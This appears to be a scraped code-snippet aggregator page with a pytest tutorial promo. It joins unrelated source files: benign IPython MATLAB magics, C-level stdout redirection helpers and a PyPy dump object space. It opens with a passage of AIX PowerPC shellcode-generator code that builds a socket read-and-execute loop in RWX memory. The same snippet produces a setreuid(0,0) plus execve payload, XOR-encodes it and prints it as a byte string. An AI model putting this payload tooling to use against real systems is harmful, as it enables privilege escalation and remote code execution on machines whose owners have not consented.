fd1062 ! r31 = codebuf // mmap1063 ! r29 = bufsize1064 ! r21 = pcloc1065 ! r28 = codeptr1066 ! r20 = tmp1067 ! r18 = main_loop1068 1069 ! before all asm code (MOSDEF entry point)1070 read_and_exec_loop:1071 1072 ! get our current location in memory1073 xor. r6, r6, r61074 bnel read_and_exec_loop1075 ! <-- that addr is now in $lr1076 pcloc:1077 mflr r211078 1079 """1080 1081 # if fd is already in $r30 we wont set it again just because it's nicer1082 # but we also save 4 bytes!!!1083 if str(args["fd"]) != "r30":1084 code += """1085 ! set provided sockfd1086 FD_SET_INSTR r30, FD ! fd1087 """1088 code += """1089 1090 ! get errno1091 lwz r25, 20(r1)1092 lwz r25, 64(r25) ! r25 = &errno1093 1094 ! mmap(0, 0x10000, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_ANON, -1, 0);1095 li r3, 01096 lis r4, 11097 li r5, mmap_protections1098 li r6, MAP_ANON1099 li r7, -11100 mr r8, r31101 addi r20, r21, mmap_out - pcloc1102 mtlr r201103 li r2, SYS_mmap1104 crorc 6, 6, 61105 sc1106 mmap_out:1107 1108 cmpwi r3, MAP_FAILED1109 beq- failed1110 mr r31, r3 ! r31 = codebuf1111 1112 ! save <here> in r18 to come back directly here after exec the mmap buffer1113 addi r18, r21, main_loop - pcloc1114 1115 main_loop:1116 1117 ! set the first instruction of the mmap buffer: restore lr from r181118 set r28, restore_lr_after_jmp - pcloc1119 lwzx r28, r21, r281120 stw r28, 0(r31)1121 1122 ! read(FD, &nbytes, sizeof(nbytes));1123 read_size:1124 mr r3, r30 ! r30 = sockfd1125 addi r4, r31, 4 ! &mmap[4]1126 li r5, 41127 addi r20, r21, readsize_out - pcloc1128 mtlr r201129 li r2, SYS_kread1130 crorc 6, 6, 61131 sc1132 readsize_out:1133 1134 cmplwi r3, 4 ! if (r != sizeof(nbytes))1135 beq+ readsize_is_4_valid1136 cmpwi r3, -11137 bne- failed1138 lwz r4,0(r25) ! errno1139 cmpwi r4, EINTR ! errno == EINTR?1140 beq- read_size1141 b failed1142 readsize_is_4_valid:1143 lwz r29, 4(r31) ! r29 = *mmap[4] = codesize1144 1145 ! prepare r28 before read loop1146 addi r28, r31, 4 ! r28 = mmap_ptr = &mmap[4]1147 1148 ! read(FD, codeptr, nbytes);1149 read_buf:1150 cmpwi r29, 0 ! while (nbytes) ! do we still need to read some bytes?1151 beq- exec_code ! if no, we can exec the recently read code1152 mr r3, r30 ! arg0 = r30 = sockfd1153 mr r4, r28 ! arg1 = mmap_ptr1154 mr r5, r29 ! arg2 = codesize1155 addi r20, r21, read_out - pcloc1156 mtlr r201157 li r2, SYS_kread1158 crorc 6, 6, 61159 sc1160 read_out:1161 1162 cmpwi r3, 01163 bgt+ read_out_ok ! we read smth1164 beq- failed ! read() returned 0: connection closed1165 ! here read() returned -1, we have to check errno1166 lwz r4, 0(r25) ! errno1167 cmpwi r4, EINTR1168 beq- read_buf ! if errno == EINTR: retry to read1169 b failed ! else we are mucked up1170 read_out_ok:1171 add r28, r28, r3 ! mmap_ptr += read_size1172 subfc r29, r3, r29 ! codesize -= read_size1173 bne- read_buf ! if codesize != 0: continue to read on sockfd1174 1175 exec_code:1176 mtlr r311177 li r2, SYS_sync1178 crorc 6, 6, 61179 sc1180 1181 ! _exit(random)1182 failed:1183 li r2, SYS__exit1184 crorc 6, 6, 61185 sc1186 1187 ! never reached1188 1189 ! following is used to patch sent code1190 restore_lr_after_jmp:1191 mtlr r181192 """1193 syscalls = ["SYS_mmap", "SYS_kread", "SYS__exit", "SYS_sync"]1194 constants = ["EINTR", "MAP_ANON", "MAP_FAILED"]1195 code = self.libc.patch_defines_with_values(code, syscalls + constants)1196 code = code.replace('mmap_protections', "%s" % mmap_protections)1197 code = code.replace("FD_SET_INSTR", fd_set_instr)1198 code = code.replace("FD", str(args["fd"]))1199 self.code+=code1200 1201 def munmap_caller(self, args): # TODO: supply size in argument1202 # this code must be at the begining of a codebuffer send to read_exec...1203 # it will munmap the page of the caller1204 # munmap(lr & ~0xffff, 0x10000)1205 1206 code="""1207 mflr r31208 munmap_caller:1209 xor. r6, r6, r61210 bnel- munmap_caller1211 ! <-- that addr is now in $lr1212 munmap_pc:1213 mflr r01214 addi r0, r0, munmap_out - munmap_pc1215 mtlr r01216 lis r2, -1 ! ~(0x10000 - 1)1217 and r3, r3, r2 ! r3 = ctr & ~(0x10000 - 1)1218 lis r4, 11219 li r2, SYS_munmap1220 crorc 6, 6, 61221 sc1222 munmap_out:1223 ! code continue here1224 """1225 code = self.libc.patch_defines_with_values(code, ["SYS_munmap"])1226 self.code += code1227 1228 def sendreg(self,args):1229 # send a 32-Bit register1230 fdreg = args["fdreg"]1231 #print "fdreg=%s"%fdreg1232 code="""1233 stwu r1, -144(r1)1234 stmw r2, 4(r1)1235 stw REGTOSEND, 140(r1)1236 sendreg:1237 xor. r6, r6, r61238 bnel sendreg1239 sendreg_here_in_lr:1240 mflr r201241 mr r3, FDREG ! arg01242 addi r4, r1,140 ! arg1 = buf1243 li r5, 4 ! arg2 = sizeof(int32) = 41244 addi r21, r20, sendreg_out - sendreg_here_in_lr1245 mtlr r211246 li r2, SYS_write1247 crorc 6, 6, 61248 sc1249 sendreg_out:1250 lmw r2, 4(r1)1251 lwz r1, 0(r1)1252 """1253 code=code.replace("FDREG",args["fdreg"])1254 code=code.replace("REGTOSEND",args["regtosend"])1255 code = self.libc.patch_defines_with_values(code, ["SYS_write"])1256 self.code+=code1257 1258 # This is the proper way to flush the caches on AIX .. you call1259 # SYS_sync and set the link register to the code you want to1260 # return to .. we also have to do this for our mosdef callbacks1261 # and anything else that reads in code ..1262 #1263 # e.g. in pseudo-code1264 #1265 # code = read(1024)1266 # flushcache(code)1267 # {1268 # mtrl %0 : : "r" (code)1269 # SYS_sync() -> returns to code via link register1270 # }1271 #1272 def flushcache(self,args):1273 # flush the cache where $pc is, and continue code execution1274 code="""1275 flushcache:1276 xor. r6, r6, r61277 bnel flushcache1278 flushcache_here_in_lr:1279 mflr r201280 addi r20, r20, flushcache_out - flushcache_here_in_lr1281 mtlr r201282 li r2, SYS_sync1283 crorc 6, 6, 61284 sc1285 flushcache_out:1286 ! continue code execution1287 """1288 code = self.libc.patch_defines_with_values(code, ["SYS_sync"])1289 self.code+=code1290 1291 def test(self):1292 self.addAttr("read_and_exec_loop", {'fd': -1})1293 self.addAttr("exit", None)1294if __name__=="__main__":1295 sc = aix_powerpc(version = '5.2')1296 sc.addAttr('setreuid', { 'ruid' : 0, 'euid' : 0 })1297 sc.addAttr('execve', None)1298 data = sc.get()1299 encoded = sc.xor_encode(data, xormask=0xae)1300 print("Payload: %d bytes" % len(encoded))1301 n = 0 1302 for c in encoded:1303 if n == 0:1304 sys.stdout.write("\"")1305 sys.stdout.write("\\x%.2x" % ord(c))1306 n += 11307 if n == 4:1308 n = 0...

Full Screen

Full Screen

IPythonMagics.py

Source:IPythonMagics.py Github

copy

Full Screen

1from IPython import get_ipython2from IPython.core import magic_arguments3from IPython.core.magic import Magics, magics_class, line_magic4from IPython.display import Image, display5import ipykernel6import threading7import ctypes8import time9import sys10import io11import os12try:13 from tempfile import TemporaryDirectory, TemporaryFile, NamedTemporaryFile14except ImportError:15 from backports.tempfile import TemporaryDirectory, TemporaryFile, NamedTemporaryFile16_magic_class_ref = None17# We will overload the `post_run_cell` event with this function18# That callback is a method of `EventManager` hence the `self` argument19def showPlot(self=None, result=None):20 # We use a global reference to the magics class to get the reference to Matlab interpreter21 # If it doesn't exist, we can't do anything, and assume the user is just using Python22 ip = get_ipython()23 if ip is None or _magic_class_ref is None or _magic_class_ref.plot_type != 'inline':24 return25 try:26 from matlab import double as md27 except ImportError:28 return29 else:30 if _magic_class_ref.m is None:31 from . import Matlab32 _magic_class_ref.m = Matlab().interface33 interface = _magic_class_ref.m34 nfig = len(interface.call('get',(0., "children")))35 if nfig == 0:36 return37 if _magic_class_ref.next_pars:38 width, height, resolution = (_magic_class_ref.next_pars[idx] for idx in ['width', 'height', 'resolution'])39 else:40 width, height, resolution = (_magic_class_ref.width, _magic_class_ref.height, _magic_class_ref.resolution)41 interface.call('set', (0., 'defaultfigurepaperposition', md([0, 0, width / resolution, height / resolution])), nargout=0)42 interface.call('set', (0., 'defaultfigurepaperunits', 'inches'), nargout=0)43 format = 'png'44 with TemporaryDirectory() as tmpdir:45 try:46 interface.call('eval',47 ["arrayfun(@(h, i) print(h, sprintf('{}/%i', i), '-d{}', '-r{}'),get(0, 'children'), (1:{})')"48 .format('/'.join(tmpdir.split(os.sep)), format, resolution, nfig)],49 nargout=0)50 interface.call('eval', ["arrayfun(@(h) close(h), get(0, 'children'))"], nargout=0)51 for fname in sorted(os.listdir(tmpdir)):52 display(Image(filename=os.path.join(tmpdir, fname)))53 except Exception as exc:54 ip.showtraceback()55 return56 finally:57 interface.call('set', (0., 'defaultfigurevisible', 'off'), nargout=0)58 if _magic_class_ref.next_pars:59 _magic_class_ref.next_pars = None60# Matlab writes to the C-level stdout / stderr file descriptors61# whereas IPython overloads the Python-level sys.stdout / sys.stderr streams62# To force Matlab output into the IPython cells we need to 63# 1. Duplicate the stdout/err file descriptors into a pipe (with os.dup2)64# 2. Create a thread which watches the pipe and re-prints to IPython65# See: https://stackoverflow.com/questions/41216215/66# https://eli.thegreenplace.net/2015/redirecting-all-kinds-of-stdout-in-python/67class Redirection(object):68 # Class which redirects a C-level file descriptor to the equiv. IPython stream69 thread = None70 stop_flag = None71 saved_fd = None72 read_pipe = None73 exc_info = None74 def __init__(self, target='stdout'):75 self.target = {'stdout':sys.__stdout__, 'stderr':sys.__stderr__}[target].fileno()76 self.output = {'stdout':sys.stdout, 'stderr':sys.stderr}[target]77 self.ip = get_ipython()78 self.flush = lambda: None79 def not_redirecting(self):80 return (81 self.ip is None or _magic_class_ref is None or82 (_magic_class_ref.output != 'inline' and self.saved_fd == None)83 )84 def pre(self):85 if self.not_redirecting():86 return87 if self.saved_fd == None:88 self.saved_fd = os.dup(self.target)89 self.read_pipe, write_pipe = os.pipe()90 os.dup2(write_pipe, self.target)91 os.close(write_pipe)92 def redirect_thread():93 try:94 while not self.stop_flag:95 raw = os.read(self.read_pipe, 1000)96 if raw:97 self.output.write(raw.decode())98 self.flush()99 except Exception:100 self.exc_info = sys.exc_info()101 self.stop_flag = False102 self.thread = threading.Thread(target=redirect_thread)103 self.thread.daemon = True # Makes the thread non-blocking104 self.thread.start()105 def showtraceback(self):106 self.ip.showtraceback()107 def post(self):108 if self.not_redirecting() or self.saved_fd == None:109 return110 sys.stdout.flush()111 os.dup2(self.saved_fd, self.target)112 self.stop_flag = True113 os.close(self.read_pipe)114 os.close(self.saved_fd)115 if sys.platform.startswith("linux") or sys.platform.startswith("darwin"):116 self.thread.join()117 self.thread = None118 self.saved_fd = None119 if self.exc_info:120 self.showtraceback()121@magics_class122class MatlabMagics(Magics):123 """124 Class for IPython magics for interacting with Matlab125 It defines several magic functions:126 %pace - sets up the plotting environment (default 'inline')127 %matlab_fig - defines the inline figure size and resolution for the next plot only128 """129 def __init__(self, shell, interface):130 super(MatlabMagics, self).__init__(shell)131 self.m = interface132 self.shell = get_ipython().__class__.__name__133 self.output = 'inline'134 self.plot_type = 'inline' if self.shell == 'ZMQInteractiveShell' \135 else 'windowed'136 self.width = 400137 self.height = 300138 self.resolution = 300139 self.next_pars = None140 global _magic_class_ref141 _magic_class_ref = self142 @line_magic143 @magic_arguments.magic_arguments()144 @magic_arguments.argument('plot_type', type=str, help="Matlab plot type, either: 'inline' or 'windowed'")145 @magic_arguments.argument('output', nargs='?', type=str, help="Matlab output, either: 'inline' or 'console'")146 @magic_arguments.argument('-w', '--width', type=int, help="Default figure width in pixels [def: 400]")147 @magic_arguments.argument('-h', '--height', type=int, help="Default figure height in pixels [def: 300]")148 @magic_arguments.argument('-r', '--resolution', type=int, help="Default figure resolution in dpi [def: 150]")149 def pace(self, line):150 """Set up pace_neutrons to work with IPython notebooks151 152 Use this magic function to set the behaviour of Matlab programs Horace and SpinW in Python.153 You can specify how plots should appear: either 'inline' [default] or 'windowed'.154 You can also specify how Matlab text output from functions appear: 'inline' [default] or 'console'155 Examples156 --------157 By default the inline backend is used for both figures and outputs. 158 To switch behaviour use, use:159 In [1]: %pace windowed # windowed figures, output unchanged ('inline' default)160 In [2]: %pace console # figure unchanged ('inline' default), console output161 In [3]: %pace windowed console # windowed figures, console output162 In [4]: %pace inline inline # inline figures, inline output163 In [5]: %pace inline # inline figures, inline output164 In [6]: %pace inline console # inline figures, console output165 In [7]: %pace windowed inline # windowed figures, console output166 Note that if you specify `%pace inline` this sets `'inline'` for _both_ figures and outputs.167 If you want inline figures and console outputs or windowed figures and inline output you must specify168 that specifically.169 Note that using (default) inline text output imposes a slight performance penalty.170 For inlined figures, you can also set the default figure size and resolution with171 In [8]: %pace inline --width 400 --height 300 --resolution 150172 The values are in pixels for the width and height and dpi for resolution. A short cut:173 In [9]: %pace inline -w 400 -h 300 -r 150174 Also works. The width, height and resolution only applies to inline figures.175 You should use the usual Matlab commands to resize windowed figures.176 """177 args = magic_arguments.parse_argstring(self.pace, line)178 plot_type = args.plot_type if args.plot_type else self.plot_type179 output = args.output if args.output else self.output180 if args.plot_type and args.plot_type == 'inline' and args.output == None:181 output = 'inline'182 self.output = output183 if plot_type == 'inline':184 self.plot_type = plot_type185 if args.width: self.width = args.width186 if args.height: self.height = args.height187 if args.resolution: self.resolution = args.resolution188 elif plot_type == 'windowed':189 self.plot_type = plot_type190 else:191 raise RuntimeError(f'Unknown plot type {plot_type}')192 try:193 import matlab194 except ImportError:195 return196 if plot_type == 'inline':197 self.m.call('set', (0., 'defaultfigurevisible', 'off'), nargout=0)198 self.m.call('set', (0., 'defaultfigurepaperpositionmode', 'manual'), nargout=0)199 elif plot_type == 'windowed':200 self.m.call('set', (0., 'defaultfigurevisible', 'on'), nargout=0)201 self.m.call('set', (0., 'defaultfigurepaperpositionmode', 'auto'), nargout=0)202 else:203 raise RuntimeError(f'Unknown plot type {plot_type}')204 @line_magic205 @magic_arguments.magic_arguments()206 @magic_arguments.argument('-w', '--width', type=int, help="Default figure width in pixels [def: 400]")207 @magic_arguments.argument('-h', '--height', type=int, help="Default figure height in pixels [def: 300]")208 @magic_arguments.argument('-r', '--resolution', type=int, help="Default figure resolution in dpi [def: 150]")209 def matlab_fig(self, line):210 """Defines size and resolution of the next inline Matlab figure to be plotted211 Use this magic function to define the figure size and resolution of the next figure212 (and only that figure) without changing the default size and resolution.213 Examples214 --------215 Size and resolution is specified as options, any which is not defined here will use the default values216 These values are reset after the figure is plotted (default: width=400, height=300, resolution=150)217 In [1]: %matlab_fig -w 800 -h 200 -r 300218 m.plot(-pi:0.01:pi, sin(-pi:0.01:pi), '-')219 In [2]: m.plot(-pi:0.01:pi, cos(-pi:0.01:pi), '-')220 The sine graph in the first cell will be 800x200 at 300 dpi, whilst the cosine graph is 400x300 150 dpi.221 """222 args = magic_arguments.parse_argstring(self.matlab_fig, line)223 width = args.width if args.width else self.width224 height = args.height if args.height else self.height225 resolution = args.resolution if args.resolution else self.resolution...

Full Screen

Full Screen

redirections.py

Source:redirections.py Github

copy

Full Screen

1"""Capture & redirect output from 3rd party C/C++ libraries2Inspired from code by Eli Bendersky3https://eli.thegreenplace.net/2015/redirecting-all-kinds-of-stdout-in-python/#id14"""5import typing, traceback6from contextlib import contextmanager7import ctypes8import io9import os, sys10import tempfile11libc = ctypes.CDLL(None)12c_stdout = ctypes.c_void_p.in_dll(libc, 'stdout')13c_stderr = ctypes.c_void_p.in_dll(libc, 'stderr')14#@contextmanager15#def output_stream_redirector(stream, 16 #what:typing.Optional[typing.Union[io.TextIOWrapper, str, int]]=sys.stdout):17 #if isinstance(what, str):18 #if what.lower() not in ("out", "stdout", "err", "stderr"):19 #p_stream = sys.stdout20 #c_stream = c_stdout21 ##raise ValueError(f"Incorrect output stream specification; expecting 'out' or 'err' got {what}")22 #else:23 ## NOTE: this is the python stream24 #p_stream = sys.stderr if what.lower() in ("err", "stderr") else sys.stdout25 #c_stream = c_stderr if what.lower() in ("err", "stderr") else c_stdout26 27 #elif isinstance(what, int):28 #if what not in (1,2):29 #p_stream = sys.stdout30 #c_stream = c_stdout31 ##raise ValueError(f"Incorrect output stream descriptor; expecting one of 1, 2; got {what}")32 #else:33 #p_stream = sys.stderr if what == 2 else sys.stdout34 #c_stream = c_stderr if what == 2 else c_stdout35 36 ##original_fd = what37 38 #elif what in (sys.stdout, sys.stderr):39 #p_stream = what40 #c_stream = c_stderr if what is sys.stderr else c_stdout41 42 #else:43 #p_stream = sys.stdout44 #c_stream = c_stdout45 ##raise TypeError(f"Expecting an one of sys.stdout or sys.stderr; got {type(what).__name__}")46 47 #original_fd = p_stream.fileno()48 49 ## NOTE: 2021-11-30 12:36:2950 ## The original fd points to. On POSIX systems this is isually 1 for stdout51 ## and 2 for stderr52 ##original_stdout_fd = sys.stdout.fileno()53 #def _redirect_(ostr, to_fd):54 #"""Redirect stdout to the given file descriptor."""55 ## Flush the C-level buffer stdout56 #libc.fflush(c_stream)57 ## Flush and close sys.stdout - also closes the file descriptor (fd)58 #ostr.close()59 ## Make original_stdout_fd point to the same file as to_fd60 #os.dup2(to_fd, original_fd)61 ## Create a new sys.stdout that points to the redirected fd62 #ostr = io.TextIOWrapper(os.fdopen(original_fd, 'wb'))63 #return ostr64 ## Save a copy of the original stdout fd in saved_stdout_fd65 #saved_fd = os.dup(original_fd)66 67 #try:68 ## Create a temporary file and redirect stdout to it69 #tfile = tempfile.TemporaryFile(mode='w+b')70 #p_stream = _redirect_(p_stream, tfile.fileno())71 ## Yield to caller, then redirect stdout back to the saved fd72 #yield73 #p_stream = _redirect_(p_stream, saved_fd)74 ## Copy contents of temporary file to the given stream75 #tfile.flush()76 #tfile.seek(0, io.SEEK_SET)77 #stream.write(tfile.read().decode())78 #finally:79 #tfile.close()80 #os.close(saved_fd)81 82@contextmanager83def stdout_redirector(stream):84 """FIXME: 2021-11-30 15:04:2485 Subsequent error messages from Python code(via sys.stderr) do not show up 86 anymore until after Scipyen has been closed. 87 """88 libc = ctypes.CDLL(None)89 c_stdout = ctypes.c_void_p.in_dll(libc, 'stdout')90 #c_stderr = ctypes.c_void_p.in_dll(libc, 'stderr')91 # The original fd stdout points to. Usually 1 on POSIX systems.92 original_stdout_fd = sys.stdout.fileno()93 def _redirect_(to_fd):94 """Redirect stdout to the given file descriptor."""95 # Flush the C-level buffer stdout96 libc.fflush(c_stdout)97 # Flush and close sys.stdout - also closes the file descriptor (fd)98 sys.stdout.close()99 # Make original_stdout_fd point to the same file as to_fd100 os.dup2(to_fd, original_stdout_fd)101 # Create a new sys.stdout that points to the redirected fd102 sys.stdout = io.TextIOWrapper(os.fdopen(original_stdout_fd, 'wb'))103 # Save a copy of the original stdout fd in saved_stdout_fd104 saved_stdout_fd = os.dup(original_stdout_fd)105 try:106 # Create a temporary file and redirect stdout to it107 tfile = tempfile.TemporaryFile(mode='w+b')108 _redirect_(tfile.fileno())109 # Yield to caller, then redirect stdout back to the saved fd110 yield111 _redirect_(saved_stdout_fd)112 # Copy contents of temporary file to the given stream113 tfile.flush()114 tfile.seek(0, io.SEEK_SET)115 stream.write(tfile.read().decode())116 finally:117 tfile.close()118 os.close(saved_stdout_fd)119 120@contextmanager121def stderr_redirector(stream):122 #libc = ctypes.CDLL(None)123 #c_stdout = ctypes.c_void_p.in_dll(libc, 'stdout')124 #c_stderr = ctypes.c_void_p.in_dll(libc, 'stderr')125 print(type(sys.stderr))126 # The original fd stdout points to. Usually 1 on POSIX systems.127 original_stderr_fd = sys.stderr.fileno()128 #print("original", original_stderr_fd)129 #system_stderr_fd = sys.stderr.fileno() # also save this130 def _redirect_(to_fd):131 """Redirect stderr to the given file descriptor."""132 # Flush the C-level buffer stderr133 libc.fflush(c_stderr)134 135 # Flush and close sys.stderr - also closes the file descriptor (fd)136 sys.stderr.close()137 138 # Make original_stderr_fd point to the same file as to_fd:139 # duplicate to_fd to original_stderr_fd;140 #print(f"in _redirect_ before dup2: to_fd: {to_fd}, original_stderr_fd, {original_stderr_fd}")141 os.dup2(to_fd, original_stderr_fd)142 #print(f"in _redirect_ after dup2: to_fd: {to_fd}, original_stderr_fd, {original_stderr_fd}")143 # now 'original_stderr_fd' is a duplicate of 'to_fd'144 145 # Create a new sys.stderr that points to the redirected fd146 sys.stderr = io.TextIOWrapper(os.fdopen(original_stderr_fd, 'wb'))147 148 #original_stderr= os.fdopen(original_stderr_fd, 'wb')149 #print(type(original_stderr))150 #sys.stderr = io.TextIOWrapper(original_stderr)151 #original_stderr.flush()152 #print(type(original_stderr.fileno()))153 #os.fsync(original_stderr_fd)154 # Save a copy of the original stderr fd in saved_stderr_fd155 saved_stderr_fd = os.dup(original_stderr_fd)156 #print("saved", saved_stderr_fd)157 try:158 # Create a temporary file and redirect stderr to it159 tfile = tempfile.TemporaryFile(mode='w+b')160 # this call duplictes tfile's fd to original_stderr_fd and replaces161 # sys.stderr with a new stream fdopen-ed on tfile's fd162 _redirect_(tfile.fileno())163 # Yield to caller, then redirect stderr back to the saved fd164 yield165 # next: duplicates saved_stderr_fd to original_stderr_fd; replaces166 # sys.stderr with a new one fdopen-ed on saved_stderr_fd167 _redirect_(saved_stderr_fd)168 # Copy contents of temporary file to the given stream169 tfile.flush()170 tfile.seek(0, io.SEEK_SET)171 #sys.stderr.write(tfile.read().decode())172 stream.write(tfile.read().decode())173 #except: # NOTE: 2021-11-30 14:48:20174 #traceback.print_exc()175 #_redirect_(saved_stderr_fd)176 ## Copy contents of temporary file to the given stream177 #tfile.flush()178 #tfile.seek(0, io.SEEK_SET)179 #sys.stderr.write(tfile.read().decode())180 ##stream.write(tfile.read().decode())181 finally:182 #print("finally: saved", saved_stderr_fd)183 #print("finally: original", original_stderr_fd)184 #print(saved_stderr_fd is original_stderr_fd)185 tfile.close()186 os.close(saved_stderr_fd)187 sys.stderr = sys.__stderr__188 #os.fsync(original_stderr_fd) # invalid argument!189 #original_stderr_fd = os.dup(saved_stderr_fd)190 #sys.stderr = io.TextIOWrapper(os.fdopen(system_stderr_fd, 'wb'))191 ...

Full Screen

Full Screen

dump.py

Source:dump.py Github

copy

Full Screen

1import os2from pypy.objspace.proxy import patch_space_in_place3from pypy.objspace.std.objspace import StdObjSpace, W_Object4from pypy.interpreter.error import OperationError5from pypy.interpreter import baseobjspace6DUMP_FILE_NAME = 'pypy-space-dump'7DUMP_FILE_MODE = 06008class Dumper(object):9 dump_fd = -110 def __init__(self, space):11 self.space = space12 self.dumpspace_reprs = {}13 def open(self):14 space = self.space15 self.dumpspace_reprs.update({16 space.w_None: 'None',17 space.w_False: 'False',18 space.w_True: 'True',19 })20 if self.dump_fd < 0:21 self.dump_fd = os.open(DUMP_FILE_NAME,22 os.O_WRONLY|os.O_CREAT|os.O_TRUNC,23 DUMP_FILE_MODE)24 def close(self):25 if self.dump_fd >= 0:26 os.close(self.dump_fd)27 self.dump_fd = -128 self.dumpspace_reprs.clear()29 def dump_get_repr(self, w_obj):30 try:31 return self.dumpspace_reprs[w_obj]32 except KeyError:33 saved_fd = self.dump_fd34 try:35 self.dump_fd = -136 space = self.space37 if isinstance(w_obj, W_Object):38 w_type = space.type(w_obj)39 else:40 w_type = None41 if w_type is space.w_int:42 n = space.int_w(w_obj)43 s = str(n)44 elif w_type is space.w_str:45 s = space.str_w(w_obj)46 digit2hex = '0123456789abcdef'47 lst = ["'"]48 for c in s:49 if c == '\\':50 lst.append('\\')51 if c >= ' ':52 lst.append(c)53 else:54 lst.append('\\')55 if c == '\n':56 lst.append('n')57 elif c == '\t':58 lst.append('t')59 else:60 lst.append('x')61 lst.append(digit2hex[ord(c) >> 4])62 lst.append(digit2hex[ord(c) & 0xf])63 lst.append("'")64 s = ''.join(lst)65 elif w_type is space.w_float:66 n = space.float_w(w_obj)67 s = str(n)68 else:69 s = '%s at 0x%x' % (w_obj, id(w_obj))70 self.dumpspace_reprs[w_obj] = s71 finally:72 self.dump_fd = saved_fd73 return s74 def dump_enter(self, opname, args_w):75 if self.dump_fd >= 0:76 text = '\t'.join([self.dump_get_repr(w_arg) for w_arg in args_w])77 os.write(self.dump_fd, '%s CALL %s\n' % (opname, text))78 def dump_returned_wrapped(self, opname, w_obj):79 if self.dump_fd >= 0:80 s = self.dump_get_repr(w_obj)81 os.write(self.dump_fd, '%s RETURN %s\n' % (opname, s))82 def dump_returned(self, opname):83 if self.dump_fd >= 0:84 os.write(self.dump_fd, '%s RETURN\n' % (opname,))85 def dump_raised(self, opname, e):86 if self.dump_fd >= 0:87 if isinstance(e, OperationError):88 s = e.errorstr(self.space)89 else:90 s = '%s' % (e,)91 os.write(self.dump_fd, '%s RAISE %s\n' % (opname, s))92# for now, always make up a wrapped StdObjSpace93class DumpSpace(StdObjSpace):94 def __init__(self, *args, **kwds):95 self.dumper = Dumper(self)96 StdObjSpace.__init__(self, *args, **kwds)97 patch_space_in_place(self, 'dump', proxymaker)98 def _freeze_(self):99 # remove strange things from the caches of self.dumper100 # before we annotate101 self.dumper.close()102 return StdObjSpace._freeze_(self)103 def startup(self):104 StdObjSpace.startup(self)105 self.dumper.open()106 def finish(self):107 self.dumper.close()108 StdObjSpace.finish(self)109 def wrap(self, x):110 w_res = StdObjSpace.wrap(self, x)111 self.dumper.dump_returned_wrapped(' wrap', w_res)112 return w_res113 wrap._annspecialcase_ = "specialize:wrap"114Space = DumpSpace115# __________________________________________________________________________116nb_args = {}117op_returning_wrapped = {}118def setup():119 nb_args.update({120 # ---- irregular operations ----121 'wrap': 0,122 'str_w': 1,123 'int_w': 1,124 'float_w': 1,125 'uint_w': 1,126 'unicode_w': 1,127 'bigint_w': 1,128 'interpclass_w': 1,129 'unwrap': 1,130 'is_true': 1,131 'is_w': 2,132 'newtuple': 0,133 'newlist': 0,134 'newdict': 0,135 'newslice': 0,136 'call_args': 1,137 'marshal_w': 1,138 'log': 1,139 })140 op_returning_wrapped.update({141 'wrap': True,142 'newtuple': True,143 'newlist': True,144 'newdict': True,145 'newslice': True,146 'call_args': True,147 })148 for opname, _, arity, _ in baseobjspace.ObjSpace.MethodTable:149 nb_args.setdefault(opname, arity)150 op_returning_wrapped[opname] = True151 for opname in baseobjspace.ObjSpace.IrregularOpTable:152 assert opname in nb_args, "missing %r" % opname153setup()154del setup155# __________________________________________________________________________156def proxymaker(space, opname, parentfn):157 if opname == 'wrap':158 return None159 returns_wrapped = opname in op_returning_wrapped160 aligned_opname = '%15s' % opname161 n = nb_args[opname]162 def proxy(*args, **kwds):163 dumper = space.dumper164 args_w = list(args[:n])165 dumper.dump_enter(aligned_opname, args_w)166 try:167 res = parentfn(*args, **kwds)168 except Exception, e:169 dumper.dump_raised(aligned_opname, e)170 raise171 else:172 if returns_wrapped:173 dumper.dump_returned_wrapped(aligned_opname, res)174 else:175 dumper.dump_returned(aligned_opname)176 return res177 proxy.func_name = 'proxy_%s' % (opname,)...

Full Screen

Full Screen

Pytest Tutorial

Looking for an in-depth tutorial around pytest? LambdaTest covers the detailed pytest tutorial that has everything related to the pytest, from setting up the pytest framework to automation testing. Delve deeper into pytest testing by exploring advanced use cases like parallel testing, pytest fixtures, parameterization, executing multiple test cases from a single file, and more.

Chapters

  1. What is pytest
  2. Pytest installation: Want to start pytest from scratch? See how to install and configure pytest for Python automation testing.
  3. Run first test with pytest framework: Follow this step-by-step tutorial to write and run your first pytest script.
  4. Parallel testing with pytest: A hands-on guide to parallel testing with pytest to improve the scalability of your test automation.
  5. Generate pytest reports: Reports make it easier to understand the results of pytest-based test runs. Learn how to generate pytest reports.
  6. Pytest Parameterized tests: Create and run your pytest scripts while avoiding code duplication and increasing test coverage with parameterization.
  7. Pytest Fixtures: Check out how to implement pytest fixtures for your end-to-end testing needs.
  8. Execute Multiple Test Cases: Explore different scenarios for running multiple test cases in pytest from a single file.
  9. Stop Test Suite after N Test Failures: See how to stop your test suite after n test failures in pytest using the @pytest.mark.incremental decorator and maxfail command-line option.

YouTube

Skim our below pytest tutorial playlist to get started with automation testing using the pytest framework.

https://www.youtube.com/playlist?list=PLZMWkkQEwOPlcGgDmHl8KkXKeLF83XlrP

Run Pytest automation tests on LambdaTest cloud grid

Perform automation testing on 3000+ real desktop and mobile devices online.

Try LambdaTest Now !!

Get 100 minutes of automation test minutes FREE!!

Next-Gen App & Browser Testing Cloud

Was this article helpful?

Helpful

NotHelpful